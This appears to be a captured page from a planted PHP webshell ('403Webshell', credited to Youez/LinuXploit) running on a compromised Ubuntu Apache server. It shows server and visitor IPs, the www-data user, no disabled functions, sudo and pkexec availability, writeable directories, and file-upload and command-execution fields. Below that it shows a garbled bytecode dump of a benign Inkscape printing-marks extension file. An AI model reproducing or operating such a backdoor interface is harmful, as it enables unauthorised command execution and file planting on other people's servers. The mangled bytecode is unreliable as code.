403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/printing_marks.cpython-310.pyc
o

0�a_J�@sTdZddlZddlZddlmZmZmZGdd�dej�Zedkr(e��	�dSdS)z\
This extension allows you to draw crop, registration and other
printing marks in Inkscape.
�N)�Circle�	Rectangle�TextElementc@sPeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�ZdS)�
PrintingMarksg�?cCs|jdddd�|jdtjddd�|jd	tjd
d�|jdtjd
ddd�|jdtjdd�|jdtjddd�|jdtjdd�|jdddd�|jdtddd�|jdtddd�|jd tdd!d�|jd"tdd#d�|jd$tdd%d�|jd&d'd(�dS))Nz--wherezApply crop marks to...�canvas)�help�defaultz--crop_marksTzDraw crop Marks)�typerrz
--bleed_markszDraw Bleed Marks)r	rz--registration_marks�	reg_markszDraw Registration Marks?)r	�destrrz
--star_targetzDraw Star Target?z
--colour_barszDraw Colour Bars?)r	rrz--page_infozDraw Page Information?z--unit�pxzDraw measurement)rrz
--crop_offsetg@�Offsetz--bleed_topzBleed Top Sizez--bleed_bottomzBleed Bottom Sizez--bleed_leftzBleed Left Sizez
--bleed_rightzBleed Right Sizez--tabz'The selected UI-tab when OK was pressed)r)�add_argument�inkex�Boolean�float)�self�pars�r�0/usr/share/inkscape/extensions/printing_marks.py�
add_arguments&s 
�zPrintingMarks.add_argumentsc	Csndt|j�dd�}tt�|��|dt|�dt|�dt|�dt|�d�}|�tjdi|���dS)	N�#000000�none��stroke�stroke-width�fill�M �,� L ��style�id�dr��str�stroke_widthr�Style�add�PathElement�	r�x1�y1�x2�y2�name�parentr!�line_attribsrrr�draw_crop_line7s
�.�zPrintingMarks.draw_crop_linec	Cstdt|j�ddddd�}tt�|��|dt|�dt|�d	t|�dt|�d
�}|�tjdi|���dS)Nrr�4z
4, 2, 1, 2�0)rrrzstroke-miterlimitzstroke-dasharrayzstroke-dashoffsetrrrr rr$r*rrr�draw_bleed_line?s
�.�zPrintingMarks.draw_bleed_linec
	Cs|tt|��D]5}||t|t|��dd�}tt�|��|t|�t|�t|t|�|d�d�}	|�tdi|	���qdS)Nrrg�?)r!zinkscape:label�cx�cy�rr)�range�lenr%rr'r(r)
rr6r7r8r/�coloursr0�ir!�circle_attribsrrr�draw_reg_circlesIs���zPrintingMarks.draw_reg_circlescCsVgd�}|�tj|d��}tt|��D]�}||ddd�}	|jd}
|
}|
t|�}||}
tt�|	��dt|
�dt|
�d	t|�d
d	t|�dt|
�d	t|�dt|
�d	t|�d
d	t|�dt|
�d	t|�dt|
�ddt|�dt|�d
t|�dd�}|�tjdi|���qdS)N)rz#00ffffz#ff00ffz#ffff00r�r"�1r�rzfill-opacityr�zm r� z,0z zz
translate(z	) rotate(�))r!r#�	transformr)	r(r�Groupr9r:�	mark_sizer%r'r))rr6r7�rotater/r0r;�gr<r!r8�stepr�	regoffset�regmark_attribsrrr�draw_reg_marksSs�
��������������������������	�����zPrintingMarks.draw_reg_marksc
Cs�|jd}dddd�}d}d}|dtjkrV|tjd7}|d	tt�|�|�d
tt�|�|�dtt�|d�|�d
tt�|d�|�7}|dtjks|�t���}	||	_	|	j
�||�||	_t�
|�|	_dS)
NrBz#000 device-cmyk(1,1,1,1)r@rrAz M 0,0r�z
 L 0,0  L rrg
ףp=
�?)rG�math�pir%�sin�cosr(rr)�labelrE�
add_translate�pathr'r!)
rr6r7r/r0r8r!r#r<�elemrrr�draw_star_targetjs6
��������zPrintingMarks.draw_star_targetc	Cs�|�tj|d��}tj||fd�tj|d�|_d}|r+t|jdt|j|j	�d�}ddd|d	d
�ddddd
�d
d|dd	|d	d
�dd|dd	dd
�fD]}}	d}
|
d	kr�t�
d�}|	ddksl|	ddkrqd|
|_|	dd
ks}|	ddkr�d|
|_|	ddks�|	ddkr�d|
|_
t|�|	d|dt||
d|	d�t|	d�||d�}t�}
|��D]
\}}|
�||�q�|�|
�|
d7}
|
d	ks[qSdS)Nr?)�	translate)rHr��-�*z#000�)�cr�x�yr8z#0FFrIz#F0F��bz#FF0�whiter]�r��
r^r_)rrrr^r_�width�heightg�������?)r(rrF�	TransformrE�minrG�maxrfrg�Color�red�green�bluer%r�items�set)rr6r7rHr/r0�bbox�group�loc�barr<�color�r_att�rect�att�valuerrr�draw_coluor_barszsB�



 �
���zPrintingMarks.draw_coluor_barscCs�|j�d�|_|j�d�|_|jjdkr&|jj��}|dur%t�	t
d���n|j��}|j�
�}|j�t|jj�|jj�}|j�t|jj�|jj�}|j�t|jj�|jj�}|j�t|jj�|jj�}|j�t|jj�|jj�}||kr}d}n||}||kr�d}	n||}	||kr�d}
n||}
||kr�d}n||}|j|}|j|}
|j|}|j|}|j|jd}|j|jd}|j�d�}|r�|�|d�|�tj�d��}|� d	d
�|� dd�|jj!�rs|�tj"d
d��}d
|_#|�$|j||j||jd|�|�$||j||j|jd|�|�$|j||j||jd|�|�$|
|j|
|j|jd|�|�$|j||j||jd|�|�$||j||j|jd|�|�$|j||j||jd|�|�$|
|j|
|j|jd|�|jj%�r@|�t�"��}d|_#|� d	d�|�&|j||||j||||jd|�|�&||
|j|||
|j|j|d|�|�&|j||||j||||jd|�|�&|
||j||
||j|j|d|�|�&|j|||	|j|||	|jd|�|�&||
|j|||
|j|j|d|�|�&|j|||	|j|||	|jd|�|�&|
||j||
||j|j|d|�|jj'�r�|�t�"��}d |_#|� d	d �t(|
||j�}|�)|j||jd||jd!d"d#|�t(|||j�}|�)|j||jd||jd!d$d%|�t(|||j�}|�)||j||jdd&d'|�t(|	||j�}|�)||j||jdd(d)|�|jj*�rJ|�t�"��}d*|_#|� d	d*�|j|jk�rt(|
||j�}|�+|j||jd|d+|�t(|||j�}|�+|j||jd|d,|�n:t(|||j�}|�+||jd!|j||jdd-|�t(|	||j�}|�+||jd!|j||jdd.|�|jj,�r�|�t�"��}d/|_#|� d	d0�|j|jk�r�t(|
||j�}|�-|j||jd||jd1d2||�t(|||j�}|�-|j||jd||jd1d3||�n:t(|||j�}|�-||j|j||jddd4||�t(|	||j�}|�-||j|j||jddd5||�|jj.�r?|�t�"��}d6|_#|� d	d6�t(|	||j�}d7t|�t|j||jd8�d9�}|�t/d=i|���}d:tt0|j�1|j|jj�d��d;tt0|j�1|j|jj�d��d<|jj|_2dSdS)>N�1cm�3mm�	selectionzSelection is emptyrrBz9//*[@id="printing-marks" and @inkscape:groupmode="layer"]zPrinting Marksr"zprinting-markszsodipodi:insensitive�true�	CropMarksr?�cropTL1�cropTL2�cropTR1�cropTR2�cropBL1�cropBL2�cropBR1�cropBR2�
BleedMarks�bleedTL1�bleedTL2�bleedTR1�bleedTR2�bleedBL1�bleedBL2�bleedBR1�bleedBR2�RegistrationMarksg�?r4�regMarkL�180�regMarkR�90�regMarkTz-90�regMarkB�
StarTarget�starTargetL�starTargetR�starTargetT�starTargetB�
ColourBars�PrintingColourBars�Z�PrintingColourBarsL�PrintingColourBarsR�PrintingColourBarsT�PrintingColourBarsB�PageInformationz�font-size:12px;font-style:normal;font-weight:normal;fill:#000000;font-family:Bitstream Vera Sans,sans-serif;text-anchor:middle;text-align:center�)r!r^r_zPage size: r^rCr)3�svg�unittouurG�min_mark_margin�options�wherer}�bounding_boxr�AbortExtension�_�
get_page_bbox�document�getrootr%�crop_offset�unit�	bleed_top�bleed_bottom�
bleed_left�bleed_right�left�right�top�bottomrgrf�xpath�remover(�Layer�newrp�
crop_marksrFrSr2�bleed_marksr5r
rjrM�star_targetrW�colour_barsrz�	page_infor�round�uutounit�text)rrqr��offset�bt�bb�bl�br�bmt�bmb�bml�bmr�offset_left�offset_right�
offset_top�
offset_bottom�middle_vertical�middle_horizontal�layer�g_crops�g_bleed�g_centerr6r7�
g_pag_info�y_margin�txt_attribs�txtrrr�effect�s��

�





�
�
�
�
�
�
�
�
��������
����
����
����
�����
��zPrintingMarks.effectN)�__name__�
__module__�__qualname__r&rr2r5r>rMrWrzr�rrrrr"s

r�__main__)
�__doc__rOrrrr�EffectExtensionrr��runrrrr�<module>ss�

Youez - 2016 - github.com/yon3zu
LinuXploit